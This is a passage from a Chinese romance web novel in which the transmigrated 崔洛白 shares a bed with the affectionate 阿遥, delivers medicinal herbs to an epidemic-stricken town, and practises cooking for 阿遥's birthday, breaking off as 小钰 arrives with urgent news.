崔洛白感受身后暖烘烘的身躯,突然反应过来:“你之前其实没睡着吧?” 这贴过来的动作,未免也太熟练了,不和上次一模一样吗? “唔?什么?”阿遥贴着崔洛白,脸埋在崔洛白的颈后,迷迷糊糊地回答道。 崔洛白心中狐疑,过了一会儿,他又换了个姿势,变成了他平躺着,阿遥侧躺着贴着他。 崔洛白睡觉的姿势发生改变,按理来说他和阿遥之间,应该出现了空隙才对。 结果不到一秒的时间,阿遥又紧紧贴着他,那手更是不得了,又一次精准地放在了崔洛白腹部最敏感的地方。 崔洛白忍不住转头盯着阿遥:“我之前睡觉的时候,你的手是不是到处乱……那个我了?” “嗯?”阿遥的脸埋在崔洛白的脖颈出,鼻尖顶着崔洛白的耳垂,含糊地应道。 崔洛白的耳朵本就敏感,被他鼻尖顶着已经是极限,阿遥一说话,呼吸间的热意钻进了崔洛白的耳中,崔洛白浑身一麻,全身的鸡皮疙瘩都起来了。 但他也更加确信了一点,忍不住质问道:“就是我睡着的时候,在我身上乱动,像小蚂蚁一样……” “没有,怎么会呢。”阿遥抱着崔洛白,在他耳旁道。 他越是这样,崔洛白越是确信他在装傻:“那你的手怎么老放在这些地方,专挑我的敏感位置……” 阿遥用鼻尖蹭了蹭崔洛白:“因为洛白和我说过啊,我都记下了。” 崔洛白经他这么一提醒,才想起来,自己以前好像是有说过。 当时好像是在给阿遥科普男性生理知识,为了方便阿遥理解,他还拿自己举例来着,怎么也没想到现在居然被阿遥活学活用了。 “哦,原来是这样。”崔洛白尴尬地道。 他没了追究的意思,阿遥却是睁开眼,双眼亮晶晶地看着崔洛白道:“这么说,洛白是梦到过我了?” 崔洛白神色一顿,连忙转过头装作平静地道:“没有啊。” “你刚刚说我像小蚂蚁一样。”阿遥期待地看着崔洛白,哪还有半分困意,“还有梦到别的吗?” “没有。”崔洛白立即道。 “洛白……”阿遥黏着他。 崔洛白肯定是打死不认的:“我就是随口一问,时候不早了,快点睡觉吧。” 他说完,深怕阿遥又追问,索性翻了个身又背对着阿遥。 为了防止阿遥又贴过来,崔洛白还特意往外挪了点,和阿遥保持些距离。 阿遥感觉怀中一空,感受到崔洛白并不想要他贴上去,他只好委屈地道:“好吧。” 见崔洛白缩在角落,两人中还隔了些缝隙,这么睡应当是很冷的,阿遥将大半 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崔洛白想到他刚刚亲自己的情景,脸有些发红,心中忍不住感慨,这好好的一个风华正茂的大梁少年,怎么就弯了呢。 阿遥不想他受冻,崔洛白自然也不忍阿遥睡在角落盖着一点点被角。 趁着阿遥睡着了,崔洛白慢慢挪过来,将被褥结结实实地盖在两人身上。 感觉阿遥身上还是有点儿冰,崔洛白索性伸手抱着阿遥的胳膊,侧睡依偎着阿遥沉沉睡去。 已经快速进入梦乡的崔洛白没注意到,被他抱着阿遥,唇角微微扬起,溢出一丝浅浅的笑意。 - 两日后,崔洛白带着阿遥为他准备的一大袋药材,回到了阳城。 当看到崔洛白拿出的一大袋药材后,所有人都惊呆了。 十三皇子更是快步上前拉开布袋,拿起一把药草仔细查看起来。 一旁十三皇子的幕僚亲信也围了上来,一边检查一边忍不住高兴地道:“药草形体繁盛,枝叶完整,气清香浓郁纯正,味醇厚特征鲜明,还没有任何腐烂发霉虫蛀,是极佳的药材!” “颗粒饱满均匀,色泽纯正无空瘪,质地坚实,断面油润,炮制工艺严谨,药味浓郁,不论是本身药草的质量还是后期处理的工艺,皆是上上品!” “别说如今阳城正在闹疫病,就算是平时,寻常人家也拿不出这么好的药材啊。” “我瞧着,怎么有点儿像是宫里的东西……” “宫里的东西哪会出现在这儿啊。” “到底是从哪变出来的,怕是得问问崔小友才是。” 几人纷纷看向崔洛白,崔洛白但笑不语,不论别人怎么问,他都一字不说。 “哎,有药就行了,何必探查那么仔细干嘛。” “崔小友拿出了这么多药,实属功臣,大家客气一点,不知道的还以为审问犯人呢。” “不错不错,危急关头,有药就行,治病救人要紧。” 几人十分识趣,恭维完崔洛白后不再多问,欢欢喜喜地拿药就走。 倒是十三皇子一直站在原地看着那些药材,一直到药材被人搬走后,他才缓缓地转头看向崔洛白。 崔洛白原以为,十三皇子会十分惊喜,但看他此刻的神情,惊是有了,喜却很少。 他看向自己的眼神十分复杂,还包含了很多奇怪的情绪。 崔洛白一时之间解读不出来,只能询问道:“殿下,怎么了,是否还有其他吩咐?” “没有。”十三皇子说着,深深地看了一眼崔洛白,转身离开。 十三皇子给自己备用的千金苇茎汤,早在几日前就已经拿出熬煮给崔家人服下,将不少崔家人从鬼门关拉了回来。 崔洛白带来的药材,一开始也是以千金苇茎汤的配方药材为主。 不过阿遥听完崔洛白的描述后,认为阳城中疫病是肺痈的概率很高,于是除了桔梗、浙贝母、瓜蒌、薏苡仁这些有针对性的配方药之外,阿遥又额外为崔洛白准备了麻黄、杏仁、甘草、黄岑等药材,这些药材可制作成麻杏石甘汤,对清热解毒化痰排瘀同样具有奇效。 一袋又一袋的药通过崔洛白转交给十三皇子,又通过十三皇子交给了阳城的负责人,客栈内的病人情况逐渐转好,崔洛白的心情也一日比一日好起来。 算算时间,再过一日便是冬至,也就是阿遥的生辰,崔洛白趁着有时间,提前开始准备起来。 他找客栈老板借了小厨房,又买了些米面,打算先练练手。 崔洛白带了这么多药材来,不仅救下了崔家人,客栈老板也连带着沾了光,才刚开始有病症,立刻一碗汤药灌了进去,人都精神了不少。 一听崔洛白有需要,立即大方地将小厨房匀出来给崔洛白单独使用,甚至还免费提供了米面,让崔洛白尽情发挥,客栈内米面不缺,千万别客气。 崔洛白挽起袖子尝试了一天,不是面放多了,就是水放少了,好不容易面成形了,一下锅还不小心煮糊了。 崔家靠崔康远一手好厨艺上位的,崔洛白穿成了崔康远的儿子,不求厨艺精湛,但也没想到居然差成这样。 崔洛白看着一片狼藉的厨房苦笑连连,在心中庆幸自己提前练习,否则当着阿遥的面搞成这样,岂不是闹成了笑话。 当晚他特意将身上的面粉清洗干净,绝不让阿遥看出自己提前准备的痕迹,然后去阿遥那边又拿了一袋药草回来,刚打算将药草上交后继续去小厨房奋战,小钰急切的敲门声在门外响起:“洛白,洛白,你在吗?洛白?” 崔洛白起身,还没来得及将门打开,小钰已经破门而入,当看到崔洛白后,小钰又急又慌:“你终于回来了,我找了你好久,却怎么也找不到,有的时候找着找着,甚至还忘了自己过来是要做什么……” 崔洛白闻言,明白小钰定然是昨夜就开始找自己。 那会儿自己正在阿遥那儿,根据以往的经验,他穿越的时候,很多人都会忽略掉他这个人的存在,所以小钰身上才会出现这样的情况。 崔洛白连忙阻止小钰自责,询问道:“怎么了,你找我有什么事吗?” “出事了,出大事了。”